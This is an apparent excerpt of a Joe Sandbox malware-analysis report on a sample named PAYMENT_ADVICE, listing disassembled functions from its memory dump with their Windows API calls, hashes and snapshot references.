                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: a134f12172129563c1cd64b48396f93ec2bc5502052b1564df5afc6ca1392c5e
                                                              • Instruction ID: c3c738a8e2e60dc5ec227af477af837af2fdb0019cd9007ebd6bdbb77e6f26f6
                                                              • Opcode Fuzzy Hash: a134f12172129563c1cd64b48396f93ec2bc5502052b1564df5afc6ca1392c5e
                                                              • Instruction Fuzzy Hash: 8E61AB7860060A9FCB12EF64C881AABB7F9EF05304F198479E9069F691DBB1FD50CB51
                                                              Function 00351FC3 Relevance: 1.7, APIs: 1, Instructions: 171COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 95ff5049aaddb093331e9aa90064aaaefc46ef3ef1cb5229b552cd6bf0bc2f5c
                                                              • Instruction ID: 735bb4d594776c98119b74dac4302214e00f6715e53adb38c5f681c356c4dbde
                                                              • Opcode Fuzzy Hash: 95ff5049aaddb093331e9aa90064aaaefc46ef3ef1cb5229b552cd6bf0bc2f5c
                                                              • Instruction Fuzzy Hash: 02513F31A006049FCF16EB64C992EAE77E6AF46310F1585A8F906AF392DB31FD05CB51
                                                              Function 00345AEE Relevance: 1.6, APIs: 1, Instructions: 97COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetFilePointerEx.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00000000), ref: 00345B96
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: FilePointer
                                                              • String ID:
                                                              • API String ID: 973152223-0
                                                              • Opcode ID: 7774e6c9ad8c951723413bbdf6ede4a7f66d0be7ec3e32bc894c2fdc3361590a
                                                              • Instruction ID: 776ddf980b2a1bb5bb0cec1c12bb47b53901045b8a1faf41b7875b5b13b5f2c2
                                                              • Opcode Fuzzy Hash: 7774e6c9ad8c951723413bbdf6ede4a7f66d0be7ec3e32bc894c2fdc3361590a
                                                              • Instruction Fuzzy Hash: FF313831A00A19AFCB19DF6CC880AADF7F5FF48310F158629E8199B711D770B9A0CB91
                                                              Function 0037FCAC Relevance: 1.6, APIs: 1, Instructions: 88COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ClearVariant
                                                              • String ID:
                                                              • API String ID: 1473721057-0
                                                              • Opcode ID: a1847979e812c80f448b00168f90929a3b1d6a044e17633287acd4b51125f242
                                                              • Instruction ID: 45b2c9f108318b90d74cbfdee242a2864d86dd664c6fc2d4fa596bcf3d14e72c
                                                              • Opcode Fuzzy Hash: a1847979e812c80f448b00168f90929a3b1d6a044e17633287acd4b51125f242
                                                              • Instruction Fuzzy Hash: 4841F3746087518FDB26DF14C494B1ABBE1BF45318F0988ACE8998B762C736FC45CB52
                                                              Function 003606FE Relevance: 1.6, APIs: 1, Instructions: 72COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: bedf85f89ecc5fd4dea4a42450ad2bbe0c71f11f8b8f04ee1c14e297c84bb84b
                                                              • Instruction ID: 47d996a051046e28276ae12d9842644ee1e03908dbb10dfa4453b0ca76536535
                                                              • Opcode Fuzzy Hash: bedf85f89ecc5fd4dea4a42450ad2bbe0c71f11f8b8f04ee1c14e297c84bb84b
                                                              • Instruction Fuzzy Hash: FE210535109B50AFC7338F24D842AE7BBE8EF42311B0185BEF8488BD55D7344AA5CBA1
                                                              Function 00344DDD Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00344BB5: FreeLibrary.KERNEL32(00000000,?), ref: 00344BEF
                                                                • Part of subcall function 0036525B: __wfsopen.LIBCMT ref: 00365266
                                                              • LoadLibraryExW.KERNEL32(?,00000000,00000002,?,004052F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00344E0F
                                                                • Part of subcall function 00344B6A: FreeLibrary.KERNEL32(00000000), ref: 00344BA4
                                                                • Part of subcall function 00344C70: _memmove.LIBCMT ref: 00344CBA
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Library$Free$Load__wfsopen_memmove
                                                              • String ID:
                                                              • API String ID: 1396898556-0
                                                              • Opcode ID: 882dde8a0dacb5b476d977cb304547aefbc0aa05fafd553de23307d3e3f07a9c
                                                              • Instruction ID: 5649d42aa68ad503735dc54581d0379c21dc689babb9ea63a0b1e2f61870ff9c
                                                              • Opcode Fuzzy Hash: 882dde8a0dacb5b476d977cb304547aefbc0aa05fafd553de23307d3e3f07a9c
                                                              • Instruction Fuzzy Hash: 4E11A331600205ABCF27AF70D816FAD77E9EF44710F108839F541AF181EA75AE559B51
                                                              Function 00347F77 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _memmove
                                                              • String ID:
                                                              • API String ID: 4104443479-0
                                                              • Opcode ID: 203fabcf83303ddd8392fbeae13ea122ac4496733563bb09b98cf03826a55b3d
                                                              • Instruction ID: 0a7c5c7c1141b6f4b94a5b91af854b07f43adb06e3fc76769a2da53c7dd88517
                                                              • Opcode Fuzzy Hash: 203fabcf83303ddd8392fbeae13ea122ac4496733563bb09b98cf03826a55b3d
                                                              • Instruction Fuzzy Hash: D2110776204605DFC725DF28D481A16B7E9FF49314B20C82EE88ACF661EB32F841CB50
                                                              Function 0037FD85 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ClearVariant
                                                              • String ID:
                                                              • API String ID: 1473721057-0
                                                              • Opcode ID: b5301984fc38a07882917022ee75a08f322e973db7cd03140e6e40b0e7d04f5a
                                                              • Instruction ID: 5138e0ac444cb0f8980286bd97e470c7a41474ac311e47054443ef5433e6e8ff
                                                              • Opcode Fuzzy Hash: b5301984fc38a07882917022ee75a08f322e973db7cd03140e6e40b0e7d04f5a
                                                              • Instruction Fuzzy Hash: 93210474A08701DFCB16DF64C444A1ABBE5BF85314F05896CE8899B761D731F809CB92
                                                              Function 00345BC0 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ReadFile.KERNELBASE(?,?,00010000,?,00000000,00000000,?,00010000,?,003456A7,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00345C16
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: FileRead
                                                              • String ID:
                                                              • API String ID: 2738559852-0
                                                              • Opcode ID: b8f19c5138721cfc41fd71825294b9d4b5f7d4f1e93041093881fe85acdd8e91
                                                              • Instruction ID: 324886bcfa6497049dfbdb99992c043431f79f67457f9b303838ad85f8234104
                                                              • Opcode Fuzzy Hash: b8f19c5138721cfc41fd71825294b9d4b5f7d4f1e93041093881fe85acdd8e91
                                                              • Instruction Fuzzy Hash: CE113A31600B049FD3228F59C880B62B7E9EF44764F10C92DE99A8AA52D770F844CB60
                                                              Function 00364863 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __lock_file.LIBCMT ref: 003648A6
                                                                • Part of subcall function 00368B28: __getptd_noexit.LIBCMT ref: 00368B28
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: __getptd_noexit__lock_file
                                                              • String ID:
                                                              • API String ID: 2597487223-0
                                                              • Opcode ID: cf14e3f48ebb70675c1cc31ac62b035473c01f6b3d6db1a179e456d95e37a397
                                                              • Instruction ID: dd985b371327945350ce760b672fb30f602ac6707d3aca785c2d9663e70c2238
                                                              • Opcode Fuzzy Hash: cf14e3f48ebb70675c1cc31ac62b035473c01f6b3d6db1a179e456d95e37a397
                                                              • Instruction Fuzzy Hash: 35F0AF71D00609ABDF13AFA88C067AE36A1AF00325F15C514F4249F199CBB9C951DF51
                                                              Function 00344E4A Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FreeLibrary.KERNEL32(?,?,004052F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00344E7E
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: FreeLibrary
                                                              • String ID:
                                                              • API String ID: 3664257935-0
                                                              • Opcode ID: f655ff83fe0df26ba1b1339a6eb0e63f1e108d1a3bf1138aaf267e173edc5f19
                                                              • Instruction ID: c026a941badee23cc9ac704594b736abf63a7e956631a39d4f9b0719f768549f
                                                              • Opcode Fuzzy Hash: f655ff83fe0df26ba1b1339a6eb0e63f1e108d1a3bf1138aaf267e173edc5f19
                                                              • Instruction Fuzzy Hash: 25F06D71501711CFCB369F64E494912BBF5BF143293258A3EE1D78AA20C772B880DF40
                                                              Function 00360791 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 003607B0
                                                                • Part of subcall function 00347BCC: _memmove.LIBCMT ref: 00347C06
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: LongNamePath_memmove
                                                              • String ID:
                                                              • API String ID: 2514874351-0
                                                              • Opcode ID: 2c6d64d83487c6f8a0654c70a4378690e1e117302aae80a131cd074c06d6779c
                                                              • Instruction ID: 16d10b178b5dae8ea05da1d157e944104e5262aa7e75098c33357669db383a2d
                                                              • Opcode Fuzzy Hash: 2c6d64d83487c6f8a0654c70a4378690e1e117302aae80a131cd074c06d6779c
                                                              • Instruction Fuzzy Hash: D4E0CD379041285BC722D65C9C05FEA77DDDF897A0F0441B5FD0CDB204DA64AC8087D0
                                                              Function 003A8E9F Relevance: 1.5, APIs: 1, Instructions: 22COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: __fread_nolock
                                                              • String ID:
                                                              • API String ID: 2638373210-0
                                                              • Opcode ID: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
                                                              • Instruction ID: fc83322b9bb4898e0730ab9b07c6f2d628602ddd62720cccce0eeaebcb365663
                                                              • Opcode Fuzzy Hash: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
                                                              • Instruction Fuzzy Hash: 75E092B0504B009BD7398B24D800BA373E1EB06304F00091DF2AB83241EB6278418759
                                                              Function 00345C4E Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001,?,?,?,0037DD42,?,?,00000000), ref: 00345C5F
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: FilePointer
                                                              • String ID:
                                                              • API String ID: 973152223-0
                                                              • Opcode ID: 8b3040438e48e45fb7d2cf76affb501b0d6f9c653ba09094b3772862e8de416f
                                                              • Instruction ID: f11adc3af6e0b8db0f2ce6db83a9d2307603a2d260fbb30ee73bd6491bf79539
                                                              • Opcode Fuzzy Hash: 8b3040438e48e45fb7d2cf76affb501b0d6f9c653ba09094b3772862e8de416f
                                                              • Instruction Fuzzy Hash: C8D0C77464020CBFE711DB80DC46FA9777DDB05710F100194FD0496290D6B27D508795
                                                              Function 0036525B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: __wfsopen
                                                              • String ID:
                                                              • API String ID: 197181222-0
                                                              • Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
                                                              • Instruction ID: 1826a141e7f02041c754d832ff0ba665d823d52e81cb0b01d15ef6abd7d0e8ee
                                                              • Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
                                                              • Instruction Fuzzy Hash: 18B0927644020C77CE022A82EC02A493B299B41764F408020FB0C1C162A673A6649A89
                                                              Function 00381DE4 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetTempPathW.KERNEL32(00000104,?), ref: 00381DF0
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
